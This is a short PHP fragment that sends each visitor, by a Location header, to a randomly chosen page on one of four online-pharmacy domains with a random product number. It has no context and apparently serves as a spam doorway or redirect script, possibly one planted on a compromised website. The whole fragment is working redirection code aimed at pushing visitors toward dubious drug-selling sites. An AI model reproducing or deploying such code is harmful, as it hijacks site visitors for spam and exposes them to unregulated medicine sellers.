$urls = array (
'http://www.patientsevitra.com/index.php?product=',
'http://www.pilldrugfda.com/index.php?product=',
'http://www.hivmedicalpills.com/index.php?product=',
'http://www.satellitepharmacy.com/index.php?product='
);
$URL = $urls[rand(0, count($urls) - 1)].rand(11, 999);
header ("Location: $URL");
?>